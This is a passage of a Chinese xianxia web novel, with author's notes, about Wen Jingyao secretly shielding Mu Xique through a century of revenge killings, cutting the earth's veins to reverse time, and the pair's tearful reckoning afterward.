闻惊遥追着慕夕阙跑了几个月,有几次都擦肩而过,他们始终没能见面,她身边有个男子,似是她的盟友,两人配合十分默契,数次都能将鹤阶耍得团团转。 有时闻惊遥会想,就这样也很好,不要被抓到,想去报仇就去报仇。 但冷静下来,他无法忽略鹤阶背后那位主子,这也是闻惊遥留在鹤阶的缘由。 一个有渡劫修为的大能,身份不明,心狠手辣,闻惊遥与慕夕阙两人便是联手,也绝无获胜的可能,只会白白搭上他们的命。 那些时日他追着慕夕阙走,生怕兰洵忽然出现,对慕夕阙动手。 可兰洵已经消失许久,几年未现身。 直到有一日,闻惊遥得知了慕夕阙回十三州的真正缘由。 慕从晚未死,她关押在鹤阶地牢。 这是旷悬亲自告诉他的消息,彼时,旷悬就站在闻惊遥的院内,拱手道:“十二辰只认慕家血脉,圣尊,慕从晚死不得,慕夕阙伏诛后,她便是十二辰的主人。” 鹤阶仍在试探他。 闻惊遥眉目平静:“她关在哪里?” “在地牢。” 于是闻惊遥去了地牢。 那里昏暗潮湿,森寒阴冷,慕从晚一个凡人,就关在这里,只有一闪小窗能为她带来些光亮。 闻惊遥并未见过慕从晚,这位在慕家闭门不出的大小姐,他甚至不知晓她的名字,只知道慕夕阙有个姐姐。 那是他们第一次见面。 闻惊遥站在围栏外,慕从晚坐在围栏内,她仰头看向闻惊遥,双目对视的刹那,她笑了下:“你就是我阿妹的未婚夫啊。” 慕从晚摇摇头:“十三州圣尊,听起来真光荣,做得好。” 旷悬等人都在身后,闻惊遥并未说话,他淡声道:“你阿妹回了十三州。” 闻惊遥看到慕从晚淡定的眸中浮出点点裂纹,她搭在膝上的手攥紧,忽然扑上前来隔着栏杆抓住闻惊遥的衣领,一个凡人有那般大的力量,竟能将十三州圣尊抓过来。 身后弟子想要拦,闻惊遥道:“站住。” 弟子只能退后。 闻惊遥安静看着慕从晚。 慕从晚咬牙切齿说:“卑鄙无耻,你们就只会这等肮脏手段,吊着我的命,待我身子好些后,是不是还准备再让我生个血脉,届时杀了我,把十二辰再传给一个弱小无依,但有灵根的孩子,对吗!” 鹤阶的人只觉得这是慕从晚在发火,在愤怒。 可闻惊遥看着慕从晚的眼睛,以及她露出的手腕上一道道割痕,和额头上撞出的疤。 他怎么会听不懂呢? 慕从晚聪慧敏锐,从闻惊遥告知她慕夕阙回来十三州后,她便已经听出了,闻少主这是在提醒她。 于是她用她自己的话,用她复杂的眼神,去告诉闻惊遥—— 她不愿意被榨干所有利用价值,不愿意被迫留下血脉,不愿意这么生不如死地活着,不愿意让慕夕阙为她搭上性命。 闻惊遥垂眸,掰开她的手,声音冷淡:“抱歉。” 在鹤阶看来,这是在道歉他们对慕从晚做的事情。 在慕从晚看来,这是闻惊遥在向她承诺。 于是慕从晚松了手,她笑着坐回去,安静看着他。 暗桩告诉他,慕夕阙出现在离方城,闻惊遥追去了。 调虎离山之计,慕夕阙用得很熟练,在闻惊遥这个十三州圣尊离开鹤阶的下一刻,慕夕阙便和随泱两人闯入了鹤阶。 那夜的雨太大了,明明已经入夏,明明闻惊遥是个化神满境的修士,可那雨水却好似挟霜带雪般,令他的骨头缝都渗出了丝丝缕缕的寒意。 他堵在了慕夕阙的退路,这么多年了,足足五年了,他第一次见到她。 她瘦了,也强大了,闻惊遥无法让她带走慕从晚,鹤阶在慕从晚身上下了灵蝶,无论慕夕阙带她去哪里,她们都逃不过,届时会搭上慕夕阙的性命。 慕从晚便是一场针对于慕夕阙的陷阱。 当雨夜中慕夕阙问他,为何要这般做的时候,鹤阶的弟子将他们围起来,旷悬那些人就在远处站着,慕从晚在慕夕阙的脊背上抬起头,与几步远外的闻惊遥对视。 闻惊遥听到自己用极其冷漠的声音说:“别再查了,慕家不死,鹤阶不存,这便是因。” 慕从晚笑了一下,她挣脱慕夕阙,拔出长剑,在慕夕阙的面前自刎,死前她对闻惊遥说:“闻惊遥,是你辜负了我妹妹。” 这是只有他们能听懂的意思。 慕从晚用她的自刎解脱自己,保全了慕夕阙。 用她的敌对撇清了闻惊遥,让他仍能当下这个十三州圣尊。 随泱赶来,将崩溃的慕夕阙带走,鹤阶的弟子想要上前追杀,可十三州圣尊不动,他们无人敢动,只能看着随泱将慕夕阙带走。 临走前,闻惊遥没忍住,实在太想她了,他看了过去。 隔着淅沥落下的雨,他看到了慕夕阙哭红的眼,以及那双眼睛里,彻骨的恨与杀意。 她的眼睛还是这么漂亮,即使恨着他的时候,也如此好看。 无论初衷为何,在慕从晚死的那一刻,年少挚友就成了陌路。 那晚,闻惊遥回到自己的小院,关上院门,他捂着心口,呕出一滩淤血。 他觉得自己浑身都冷,闻惊遥弯着腰,高束的马尾从肩头落下,一扫一晃,随着他的咳嗽,呕出的血越来越多,他扶着院里的石桌,看着后院的那株匡恶果树。 匡恶匡恶,这条路还真是苦- 闻惊遥想过告诉慕夕阙,可闭上眼,是烧完的淞溪慕家,是倒塌的东浔主城和死去的青鸾,他一步也不能走错。 他没办法告知慕夕阙他的用意,他太了解她了。 慕夕阙恨着他,对他痛下杀手,毫不留情,才能让他继续坐稳这个十三州圣尊,用他的方式去雪恨,去庇护她。 慕夕阙是格外重情的人,若她知晓他的用意,她不会让闻惊遥孤身涉险,更不会对自己的盟友下杀手。 闻惊遥不敢冒险,这条路太难走了,兰洵太过强大,他强悍到两个当时才三十岁出头的修士,根本没有抵抗能力,一步行差踏错,葬送的是他们所有人的性命。 鹤阶火烧了慕从晚的尸身,闻惊遥就站在远处看着,他看起来漠然冷静,“失忆”的闻惊遥是公正理性的十三州圣尊,不是那个追着慕二小姐跑的闻少主。 慕从晚被挫骨的消息却传了出去,鹤阶再次引来了慕夕阙,暴怒的她从门前一路杀进去,劈了鹤阶的神像,驱动十二辰将三十九位长老困在阵中,一人一剑,枭了三十九个脑袋。 她的冲动葬送了挚友的性命,这一次,随泱死了。 闻惊遥刚除祟回来,在那一刻,他觉得这世道太过荒谬了,好人落得个尸骨无存的下场,恶人潇潇洒洒活着。 慕夕阙被随泱送出鹤阶,重伤的她晕倒在鹤阶主城外。 当追杀赶到时,闻惊遥安静站在路的尽头,仍旧如五年前送她去海外仙岛那般,他抬眸看过去,瞧见弟子们惊愕的眼神。 “……圣尊?” 等待他们的,是割喉而过的利刃。 这五年闻惊遥学了一手非闻家的剑法,只有这些追杀的人都死光,慕夕阙才能活下来。 闻惊遥用阵术烧了所有尸身,清理完毕后,他屏蔽自己的气息,守了慕夕阙一整晚。 他怎么都看不够,近乎贪婪地看着她的脸,柳眉凤目,高挺的鼻梁和红唇,以及有些突出的脸颊轮廓,她瘦了好多,整个人褪去了所有意气,变得沉稳冷静。 天亮,慕夕阙醒了。 闻惊遥看她撑着剑起身,撕下布条绑住身上的伤口,摇摇晃晃离开。 这一次,他们十年未见,慕夕阙沉寂了整整十年。 闻惊遥仍旧当着十三州圣尊,兰洵也始终未现身。 十三州圣尊确实给他带来了不少便利,鹤阶要利用他控制天罡篆,要手握这么一个“失去记忆”,但强大正直的修士来稳固鹤阶的名声,以闻惊遥的天资与刻苦,几十年内必入大乘。 闻惊遥不常出门,他处理十三州的事务,每月批阅鹤阶弟子带来的闻家卷宗,旷悬那些长老对他的顾忌倒是少了些许。 借着十三州圣尊的身份,他从慕峥出事开始查,顺藤摸瓜揪出了不少和鹤阶来往亲昵的门派,赤敛燕家、千机宗、不归谷、浮生谷,还有闻家叛贼。 闻家十几位长老是活着的,仗着闻惊遥失忆,早已改名换姓入了鹤阶长老阁,整日见面,闻惊遥似乎并未认出他们,仍对着这些闻家人,喊他们“李长老”“温长老”“许长老”…… 闻惊遥用了十年清理了这些闻家叛贼,以及一些已有铁证证明参与了慕、闻两家灭门一事的人,曲家、何家、百花谷…… 他很聪慧,能将自己摘干净,让这些人或死于意外,或死于除邪。 执掌十三州刑罚与缉凶,大多数暗桩都听他差遣,他总能想办法阻止这些人追查慕夕阙的下落,让他们总错上一步,与慕夕阙擦肩而过。 第十年,他再次得到了慕夕阙的消息。 “圣尊,定州方家遭难,昨夜有人闯进去,将方家主和两个亲传弟子,以及方家长老屠戮七成,观其手法,像是慕二。” 闻惊遥垂眸站立,望着那株果树落下的枯叶,淡声道:“嗯,我去。” 不是他去,就会是鹤阶长老去。 这一次,闻惊遥又见到了慕夕阙。 最初他追过去时,并不知慕夕阙会易容术,被易容了的她骗过去,两人擦肩而过。 第二次他循着消息再次追过去,即使那是张陌生的脸,他仍一眼认出了她。 十年没见了,她更瘦了,一头长发剪到了过肩,他们过了招。 闻惊遥与慕夕阙打过许多次,年少时常打架比试,却从未有这般时候,真刀实枪地打架,她的剑锋锐无匹,她的杀招游刃有余,她强大到令他心酸也心疼。 闻惊遥被她重创,在鹤阶赶来前,只看到心口流血的他。 旷悬惊诧道:“圣尊,您怎么受伤了?” 闻惊遥默不作声擦去唇角的血,并未回话。 此后几十年内,慕夕阙接连杀了不少人,十三州戳着她的脊梁骨骂,骂她作恶多端,骂她祸害万年,骂她私藏神器不肯用于镇压祭墟,慕二小姐早已成了人人口中的罪人。 在这几十年内,闻惊遥只见过她十几次,每次她出现在十三州,他几乎追着她跑,却次次败在她手下。 起初鹤阶认为他有意相护,为什么每次都能让慕夕阙从鹤阶手里逃脱呢,怎么就次次抓不到,这位十三州圣尊到底有没有在中间动* 手脚? 直到一次打斗中,闻惊遥真正伤了慕夕阙,那一剑毫不留情,冷静刺入了她的左腹,又旋而刺入她的右肩。 他再次打消了鹤阶的怀疑。 若有记忆,闻惊遥怎么会放任慕夕阙孤身复仇,对东浔主城的事故坐视不理,对年少喜欢的慕二小姐动这般狠手? 旷悬他们劝道:“圣尊,打架莫要这般正派,您也应当有些暗器,先保了自己的命。” 闻惊遥却冷眼看过去:“东浔闻家家规,不可暗下毒手。” 鹤阶长老又被呛住,闻家那劳什子家规养出了一个个正得发邪的修士,闻惊遥失忆醒来后将闻家家规重学一遍,熟记于心,以至于这些长老都无法反驳。 闻家人为人太过正派,打架也是,绝不动用暗器,可不得被学了一手诡谲杀招的慕二压着打嘛。 那晚闻惊遥并未回鹤阶,他在慕夕阙身上下了灵蝶,灵蝶为他指引了她的方向,他暗中追过去,来到了一座破庙。 慕夕阙接连被追杀几日,如今一个草席都能让她沉睡过去,她实在太累,伤只是胡乱裹了一下,高烧已经让她晕厥。 闻惊遥单膝蹲在她身侧,解开她松垮的外衫,他的剑在她的肩头和左腹留下了伤,并不深,闻惊遥出剑的时候手抖得无法控制,此刻也是如此。 他看到她身上纵横交错的伤疤,这些疤痕划在他身上,却像砍在他的心头。 闻惊遥喂她吃了几颗灵丹,他宽大的掌按在她的肩头,灵力替她止血化瘀,他看着她,抬手拂开她凌乱的发。 “夕阙,以后下手再狠些,你记得,一定要对我再狠些。” 作者有话说:下一章还有,是小慕重生的原因,全部写完~《 》 80-85 第81章 第 81 章 挽回 慕夕阙光明正大地杀仇人, 闻惊遥暗中杀,很快,十三州世家乱成一团。 兰洵始终未曾现身, 闻惊遥查遍了整个鹤阶,但对他的身份一无所知。 祭墟动荡已经压不住, 频繁有秽毒出现, 祟种攻城,这十三州早就乱了。 慕家和闻家灭门的第五十年,慕夕阙将不归谷重创, 闻惊遥截杀了从不归谷逃出的谷主和谷主夫人。 第六十年,慕夕阙闯入琅嬛南宫家,杀了近乎两成的人, 南宫家那位老祖出山, 闻惊遥于半路拦截了他, 打了近乎半月, 撑着最后一口气将那老祖拦杀。 第七十年, 闻惊遥查到了为何玄武明知鹤阶作祟还仍守着这座山,留在山谷里,谁能想到那一个凭空出世的渡劫修士, 竟能镇压玉灵。 玄武是在七千六百年前被兰洵镇压的,鹤阶之所以可以操控祟种, 靠的是玄武的镇煞解厄之力, 玄武之血,可解万毒, 可除万秽。 闻惊遥开始查七千年前的人,圣尊的身份出入鹤阶家库易如反掌,他用职务之便, 将整个家库的东西都翻阅了遍。 这十年慕夕阙并未出现,她时常会消失一段时日,养精蓄锐,搜罗下一个复仇对象。 她消失的时候,十三州会到处搜寻她的下落,闻惊遥会暗中横插一手,让他们总能错一步追上慕夕阙。 他仍旧除祟,缉凶,看似当好这个十三州圣尊,鹤阶越发信任他,百姓也对他敬佩赞扬,虽不断有世家子弟被杀,查来查去,却只能查到是死于意外。 她不在的日子里,他只能一边当这个十三州圣尊,一边借着职务之便去清除些仇敌,为她留下些已查到的东西,安静等待她再一次出现在十三州- 第八十年,闻惊遥在一次除祟归来后,再次得到了慕夕阙的消息。 慕夕阙闯入了赤敛燕家,她杀了燕煊以及半成的燕家守卫,却被燕如珩设计囚住。 那种毒诡谲,它会慢慢蚕食慕夕阙的记忆,唯一的解药在燕如珩手中。 闻惊遥在一个深夜上了浮重山,他站在山顶,望向下方的流霞湖,湖中囚禁了一只强大的玉灵。 他向玄武求了一瓶血,玉灵有天生能分辨善恶的能力,纵使闻惊遥继任鹤阶圣尊,执掌天罡篆,可人若坏事做多,周身会有业障,玄武能看出来闻惊遥周身并无业障。 在闻惊遥拿上玄武的血决定闯燕家的那夜,慕夕阙也放手殊死一搏,她总有无尽的胆量,有一口气都能拼命咬死对方,竟敢调动灵力逆冲丹田,冒着走火入魔、爆体而亡的风险也要反击。 闻惊遥来的时候,慕夕阙已经冲出燕家,他能做的只有替她拦下追杀,待解决完燕家追兵后,他一刻也不敢停地跑去城外。 慕夕阙那时离爆体而亡只有一息功夫。 在那之后几十年,闻惊遥都忘不掉当时他抖动的手,颤抖着搂住她,将灵力灌入她的经脉,饮下玄武的血,唇对唇地喂给她。 他抱了她一整夜,用他也不算温暖的怀抱裹住她,将她乱成一团的经脉捋顺,躁动的丹田平息。 “夕阙,夕阙……” 第九十年,祭墟的第三根天柱碎了。 有五个小城池被祟种灭门,玉灵死去。 十三州将这归咎于慕夕阙,认为是慕二独占十二辰,放任祭墟混乱,导致祟种频出,小城的玉灵也并不强大,为了庇佑百姓,玉灵只能以自毁的方式同归于尽。 世人骂慕二该被千刀万剐,唯有闻惊遥听了沉默。 慕夕阙怎么会没管过祭墟呢? 闻惊遥独身去过祭墟许多次,也与慕夕阙擦肩而过了许多次,祭墟的天柱之所以在这几十年内都没完全崩裂,不完全是闻惊遥一直在镇压。 只靠天罡篆怎么可能持续压制祭墟? 在这几十年里,在十三州都不知道的地方,慕夕阙来过祭墟不少次,她总是这般嘴硬心软,她恨鹤阶和一些世家,却不会让无辜的百姓陪着一起丧命。 诡异的事情太多,无论闻惊遥和慕夕阙先后去镇压过祭墟多少次,天柱只能撑上最多一年,便会再次爬上裂痕。 闻惊遥也去查过那些灭城的城池,那些城池是有祟种杀过的痕迹,可玉灵却并不像与祟种同归于尽死去的,他在它们身上看到了刀伤。 有人在背后动摇祭墟,屠戮玉灵。 闻惊遥能猜到是谁,慕夕阙也已查到鹤阶背后有人,可兰洵这几十年都未露面,他们二人毫无线索。 第一百年,闻惊遥和慕夕阙再次见面。 仍旧刀剑相向,闻惊遥前去“围杀”慕夕阙。 她又瘦了,已经大乘满境,闻惊遥与她境界相当,可在打斗的过程中,他能敏锐觉察出慕夕阙的虚弱,她的杀招不再有劲,她的动作不再迅捷,他甚至险些伤了她。 闻惊遥假意露出破绽,被慕夕阙一剑捅在心口,离心房只有一寸,他看着慕夕阙在鹤阶追兵到来前逃开,瞧见她虚浮的脚步,以及高束的马尾中夹杂的白发。 闻惊遥垂眸,看到自己的血混着泪一起滴落。 该怎么办呢,他们还没复完仇,该怎么办呢? 没有办法了,慕夕阙已经被十二辰掏空了身子,她活不了多久了。 十三州想杀她的人太多了,这样虚弱的她若碰上仇家,死路一条。 闻惊遥回到鹤阶的住处,他坐在空落的院中,望向那株盎然生长的匡恶果树,如今是结果子的季节,他几乎每日都会吃一颗果子。 可今日这果子格外苦,苦得他觉得心尖都泛起了疼,他颤抖着手捂住自己的眼睛,却挡不住能从指缝中溢出的泪水。 这么多年了,闻惊遥已经当上了圣尊,天罡篆之主,修到了大乘满境,还是护不住想护的人,仍旧在失去。 少年时追求的大道,根本走不到头。 他无能至此,无用至极。 十三州已经有十五座城池灭城,十五只玉灵被戮,慕夕阙的虚弱导致祭墟已快压不住,万年前的灾厄几乎要再次上演。 那一夜,镇压在浮重山的玄武有了动静,独身在院内的闻惊遥是唯一能听到它的声音之人。 玄武这些年不肯认鹤阶任何一人为主,只能被锁链困在这里,被迫用它的福泽保护这座城,让这些人汲取它的血液控制祟种。 可几千年无主的玄武却认了闻惊遥为主。 当鹤阶赶来后,闻惊遥孤身站在浮重山顶,他安安静静,而流霞湖内的玄武也安静沉寂。 旷悬心下慌张,却还牵着笑问:“圣尊,玄武这是……” 闻惊遥抬眸,说道:“祭墟动荡,祟种已攻到这附近,它要认我为主,让我庇佑这座城。” 旷悬勉强一笑:“圣尊,玄武被捆是我们不得已,您——” 他以为闻惊遥这般正直的人,定会生气鹤阶这般对待玄武,可是闻惊遥没有。 闻惊遥只是看着他,说道:“撤去禁制吧,玄武不会走的。” 他转身离开,徒留旷悬愣在原地。 良久后,禁锢玄武几千年的禁制被撤去,可这只玉灵却并未离开,它安静待在湖底。 或许鹤阶的人也在笑,玉灵便是这般愚蠢,纵使你对它们再过恶毒狠辣,可只要百姓在这里,只要百姓有大难,它们仍会忘记所有仇恨,用自己的福泽和力量去庇佑百姓。 玉灵懂什么呢? 它们是神兽,是天神赐予世间的福泽,生来就为了庇佑生灵,又怎会恨呢? 闻惊遥回到院内,今夜月色太暗了,他仰头望着天幕,浓云遮住一半月色,也遮住了群星,整片天黑得骇人。 玉灵认主,他便可以听懂玉灵的话,这只玉灵告诉了他太多东西。 玄武是所有玉灵中最长寿的一只,是寿数最大的一只,混沌之处它便存在,它见过造世的神,见过生灵的诞生,见过灾厄的到来。 它告诉他,当这整片大陆的玉灵被屠戮,福泽彻底消失,来自天外的灾厄会再次来临,造世的神会现身,人可以见到神明。 但神明会降下天谴,摧毁这整片大陆,摧毁包括灾厄在内的所有。 玄武告诉他,已经无路可走了,有个疯魔的人想要灭世,想要见到神明,他想戮神,而这世间无人是他的对手。 玄武告诉他,慕夕阙已经虚弱到无法再用十二辰了,祭墟迟早压不住,秽毒会再次席卷整个世间,这一次,十三州和海外仙岛会覆灭。 最后,玄武告诉他破局的方法。 几万年前,天外的灾厄顺着裂缝降临世间时,天神赐予了这片大陆一块阴阳神石,不仅给了这片大陆抵御灾厄的能力,也给了它一次涅槃的机会。 阳石化为十二辰,主生灵,借天脉,可掌阴阳轮回。 阴石化为天罡篆,主亡灵,掌地脉,可令山崩地裂。 当天罡篆之主修到渡劫,能集结亡灵之力,切断所有地脉,令整片大陆崩裂,届时主生灵之力的十二辰会开启回溯,这是这片大陆最后的反击。 玄武告诉他:“切断地脉,崩裂整片大陆,这是极大的杀业,待你越发强大,天神会注意到你,你会遭到天谴。” 闻惊遥问它:“这世上真的有天谴吗?” 玄武道:“凡是造孽,业障积累到一定程度,必有业报,那人靠着屠戮玉灵,夺取它们周身的福泽躲过天神的注意,但你不会,你上辈子的杀业便会招来业报。” “业报会如何?” “会将你劈得魂飞魄散。” 这无法告诉慕夕阙,若慕夕阙知晓有人决定崩裂地脉,却束手不管的话,这杀业便也会摊在她头上几分,来日天谴也会落在她身上。 玄武让闻惊遥好好想想,到底要不要冒着天谴的风险做这件大不韪的事,闻惊遥并未思考,在那时他便已经做了决定。 这一切都无可挽回了,祭墟迟早压不住,慕夕阙也没剩几年可活,十三州生灵涂炭,死伤无数,玉灵也死了太多只。 “好。”闻惊遥道- 慕家灭门的第一百年,闻惊遥亲自带人抓捕了慕夕阙。 他站在高处,一剑劈碎了她的后路。 缚仙索是他为她捆上的,这会限制她的灵力,此后她无法再用十二辰,闻惊遥亲自送她入了云川。 慕夕阙那时已经瘦到极致,十二辰掏空了她,她望着他,问道:“闻惊遥,为虎作伥,你真的不怕遭报应吗?” 闻惊遥不敢看她,他背对着她,听到自己用极轻的声音道:“我等着它来劈我。” 慕夕阙进入云川前,留下了最后一句话。 “闻惊遥,我也等着看你遭报应,看天雷是怎么劈到你身上的。” 那日下了雪,云川鲜少下雪,在那日下了场极大的雪。 闻惊遥仰头,雪落在他脸上,让他想起了百年前,淞溪和东浔在同一日下了浩瀚的雪。 雪对他来说,意味着失去。 他没有办法,不将她关进云川,束缚她的修为,她会一直去报仇,持续使用十二辰,用牺牲寿数为代价杀人,如此羸弱的她碰上任何一个强大的修士,都有可能直接夺了她的性命。 他没有办法,云川结界坚固,能阻拦外界的追杀,他必须要让慕夕阙活到他修到渡劫的那日,活到他可以用天罡篆切断地脉,还给她一切的日子。 可云川太冷了,她怎么撑得住呢? 那日一个满头华发的老者来见了闻惊遥,他撑着佝偻的身子,对闻惊遥拱手道:“圣尊,二小姐对我有恩,最后的日子了,能否给我个差事,让我照顾她一些时日,还了这恩情?” 这世上竟还有惦记着慕夕阙的人,并非想杀她,而是想护她。 闻惊遥在那时,竟笑了出来,他垂着头,泪花砸在雪地上,在一个老者面前流了满脸的泪。 “她很怕冷,她爱吃糕点,爱喝热茶。” “她有时候说话不太好听,可她人很好,您不要生她的气。” “她爱听笑话,喜欢和人聊天,您多陪她聊聊,老人家,拜托您了。” 一个老者愿意为了慕夕阙孤身入云川,在这森寒的地方待上十年,只为了还慕夕阙曾经的救命之恩。 十三州仍然乱着,小城小派陆续被灭,玉灵被杀了不少,连一些大城池和大世家都难以避免,赤敛燕家、沅湘周家、青城师家都遭到了祟种进攻。 鹤阶也焦躁慌乱,意识到事情已经完全失态,急欲慕夕阙交出十二辰,和他们一同去镇压祭墟,可已经虚弱至极的慕夕阙无法动用十二辰。 闻惊遥漠然看着,看鹤阶慌乱挽局,兰洵始终未曾现身。 兰洵在杀,在戮城屠灵,夺取这些玉灵的福泽,以待最后天神现世之时戮神。 闻惊遥鲜少再出鹤阶,他安静修炼,修为节节攀升。 他会三月去见一次慕夕阙,站得远远的,隔着一层铁栏看着里头的人,慕夕阙总爱睡觉,一日抱着暖炉能睡上九个时辰。 慕夕阙入云川的第七年,她生了场重病,彼时在鹤阶闭关的闻惊遥并不知晓,直到那老者已经没有办法,亲自求到了闻惊遥面前。 那晚,是闻惊遥时隔七年,第一次离慕夕阙只有几步的距离。 其实这百年里,他们也只见过二十七次,时常几年见一面。 牢房内森寒,纵使他叮嘱老者多放了些暖炉,可云川离祭墟太近了,这里对一个凡人来说,实在过于寒冷。 闻惊遥俯身,将含化的灵丹渡过去,他躺下来,躺在那张狭窄的木床上,将自己念了这么多年的人抱进怀里,亲吻她冒着冷汗的额头,轻拍她肩胛骨突出的脊背。 “夕阙,你瘦了。” “夕阙,你冷不冷?” “夕阙,这些年我很想你。” “夕阙,是我对不起你,是我护不住你。” 他要将自己这辈子没说完的话都说给她听,最后,天快亮的时候,他俯身吻上她干裂的唇,轻轻触碰,将她再次紧紧抱在怀中。 “夕阙,我将一切都还给你,你也要记得,不要对我心软。”- 慕夕阙被关进云川的第十年,闻惊遥步入渡劫。 祭墟已经彻底乱了,祟种横行,伏尸百万。 鹤阶慌成一团,也联系不上兰洵,闻惊遥是世间修为最高的一人了,于是这些长老只能求助于他,对闻惊遥信任有加,这是他们最后的救命稻草。 闻惊遥坐在院内,望着面前乌泱泱的长老,在他们脸上看到了难掩的恐惧。 原来他们也会害怕啊。 闻惊遥神色冷静,淡声道:“那就不用再等了,去云川,逼出十二辰的下落,若她不说,便杀了吧。” 旷悬道:“可若是杀了,祭墟怎么办,她是仅剩的慕家血脉了。” 闻惊遥看着他:“用诛魂阵炼化她的魂魄,我会想办法将十二辰再凝出来。” 众长老惊愕看着他,闻惊遥却牵出笑,说道:“你们不信我吗?” 他们怎么能不信呢? 这是唯一能用上的渡劫修士了,这是视大道如性命的十三州圣尊,闻惊遥是绝不会拿天下开玩笑的,他既然敢做,那便一定是有把握的。 云川在那日也下了场大雪。 浩渺的雪落了满地,积了三尺深,他站在高处,拂袖将慕夕阙甩进阵内,抬手祭出天罡篆。 他听到师盈虚疯狂地嘶吼,听到呼啸的风声,看着慕夕阙跌在雪地中,她的白衣已被血染湿,仰头望着他。 这是时隔十年,她再次看向他的目光,仍旧是彻骨的恨。 那是诛魂阵吗? 不,那不是诛魂阵。 那是他切断地脉的大阵,当他操控天罡篆陆续切断地脉时,慕夕阙身上的十二辰也已打开,回溯阵法在撕扯她的神魂。 当慕夕阙闭上眼,众人欢呼。 “慕二死了!” 旷悬在笑,许多人都在笑。 师盈虚在哭,她冲上前一掌打在了闻惊遥肩头:“闻惊遥!你怎么敢!” 师家的弟子上前拽走她。 闻惊遥垂眸,擦去唇角的血,望着阵法内的白影。 那些人没欢呼多久,紧跟着,他们感受到脚下的山在晃动,众人惊恐望着脚下,地表撕开裂缝,一道道裂痕碎开。 他们看到远处的山在一座座崩塌。 众人惊恐看向面前的闻惊遥:“圣尊,这是——圣尊!” 闻惊遥已纵身跃下,他跳入阵法内,无视崩裂的山,和众人惊恐的尖叫,迎着能将人吹倒的罡风,朝慕夕阙走去。 碎石落下,地面撕裂,一道裂缝迅速爬上她的身下,随后轰然炸开,她坠落进去,闻惊遥在那一刻冲上前,接住了她。 他这一生总在错过,如今终于来得及了。 神魂被撕裂的时候,他抱紧自己少年时期就放在心底的人,闭上眼。 闻惊遥如此地喜欢她,仰慕她锋锐无匹的剑招,敬佩她坚定的道心,这是胜过他的人,是他想用一生去追随的人,此刻她在他的怀中,他在死前,终于拥抱了自己的全世界。 “夕阙……” 他将一切都还给她。 将她失去的一切,她向往的大道都还给她。 作者有话说:其实那些年里如果没有小闻暗中截杀的话,小慕一个人是很难对付整个鹤阶和那些世家的,但小闻也有错,他顾忌太多,不长嘴,在小慕视角看来就是他一直在阻拦,还将小慕关进了云川,所以该虐! 番外会再补充一些,今天发个红包~ 第82章 第 82 章 恨过是真的,爱过也是真…… 前尘往事, 一场大梦。 定神阵的光柱消失。 越疏棠焦急问道:“前辈,他们如何了?” 梅枝雪仰头,喃喃道:“魂回来了, 他们没事。” 越疏棠刚要往里进,便听到竹楼里传来几声凌乱的声音, 像是有人撞到桌子, 将桌上的茶盏撞落在地。 她下意识便要往里进,被梅枝雪拉住。 “前辈!” “都离开吧,别守在这里了, 他们有事要处理。” 梅枝雪神情冷淡,侧首看向紧闭大门的竹楼,她转身离开, 去往后院。 越疏棠几人咬牙看着竹楼, 里头没有再传来声音, 犹豫了会儿, 她沉声道:“先离开吧, 慕二小姐和闻少主似乎有矛盾待解决。” 竹楼外围着的人很快散去。 慕夕阙捂住自己的脸,她听到身后轻弱的咳嗽声,闻惊遥已竭力压制, 却仍会流露出些声响,让她无法忽略, 也没办法再装作听不见。 慕夕阙胡乱揉了揉脸, 她站起身,转身看着从榻上撑起身子的闻惊遥, 这张脸不如记忆里那般棱角分明,少年时的闻惊遥周身有种若有若无的柔。 闻惊遥看着她,沉默不语, 因为剧烈咳嗽,眼尾略有些薄红,伤还未好,唇色苍白。 慕夕阙反而很冷静,她居高临下垂眸看他:“怎么了,你已经修到了化神境,以你的天资再修行些时日,天神就注意到你了,不准备料理自己的后事?” 闻惊遥长睫半阖:“不用准备后事,天谴之下,尸身留不下来。” 慕夕阙笑了声:“是啊,你们闻家人死了也是供烛一日,一口薄棺埋入陵墓,那你留个衣裳吧,我给你立个衣冠冢。” 她说话夹枪带炮,闻惊遥自是听得出来,慕夕阙有时说话不太好听,她不骂人,但会阴阳怪气,重生后的慕夕阙多了沉稳冷静,鲜少有暴躁之时。 “夕阙,对不起,不要生我的气。” 闻惊遥只会道歉,他其实看不太清慕夕阙的脸,重伤让他的脑子并不清醒,只能瞧见一抹模糊的影子。 定神阵内,彼此的识海打开,他们看到了彼此的记忆。 拼凑在一起,是一场无法言说的悲剧。 慕夕阙并不想生气,在那百年里她便明白了,怒火只会让自己变得神志不清,冲动只会犯错,她必须冷静理智。 可此刻她觉得自己的脑子乱成一团,她看着虚弱的闻惊遥,看他并无焦点的双目,有种莫名的怒火烧干净她的理智,她冲过去,单膝跪上榻,双手揪住他的衣领。 “我凭什么生气呢,我是不是应该感谢你,感谢你那些年背地里替我截杀那么多人,感谢你闻惊遥卧薪尝胆以身入局,感谢你牺牲一切造下杀业来回溯时间?” 闻惊遥觉察到有温热的液体滴落在脸上,他抬手去抚摸她的脸,摸到满脸的泪花。 “夕阙,你没有任何错,也不需要对我道谢。”闻惊遥摸索着去擦她的眼泪,“对不起,是我对不起你。” 这一句道歉彻底引爆了慕夕阙的情绪,她一把将他推在榻上:“滚!你总这么自以为是,你以为我会愧疚吗,明明是你一直在阻拦我,明明是你什么都不说,明明是你将我关进云川!” 慕夕阙起身下榻,刚走出几步,身后传来凌乱的脚步声,闻惊遥追上前来,从身后搂住她,他低头将她紧紧抱在怀里,身上那股苦涩的药香朝她涌去。 “我没有办法说,夕阙,我不敢去赌,你不可能放我以身涉险,你不可能对我动刀动剑,你不可能放弃你的长姐,可我不能让你带走被鹤阶追踪的她,我不能让你对我有半分心软,你必须要恨着我,你必须要想杀我。” “滚!滚开!” 慕夕阙推他,挣他,她用了所有蛮力去挣扎,可面对一个虚弱的病人,她明明只需要一丁点灵力便能挣开他。 “夕阙,夕阙,不要这样,不要怪你自己,这与你没有关系,真的没有关系的。” 她疯狂的谩骂和挣扎,让闻惊遥看出她为何如此。 她恨了这么多年的人,忽然有一日她发现,这些年的恨全无意义,这让支撑她走了这么久的道心都几乎崩裂,她无法去怪闻惊遥,只能怪她自己。 闻惊遥将她转过来,他捧住她的脸,去亲她脸上的泪水:“你没有办法,我也没有办法,我们走到那一步都是逼不得已,夕阙,别这样。” 他吻上她的唇,吻对于他们来说已格外熟悉,她在撕咬他的唇,失控的噬咬让他品出了血味。 可当他要加深这个吻时,她却忽然别过头,一口咬在他的脖颈。 疼痛让他清醒了些,从来没人敢咬闻少主,只有慕二小姐能将他咬得遍体鳞伤,他也并不觉得生气,相反,有种隐约的兴奋。 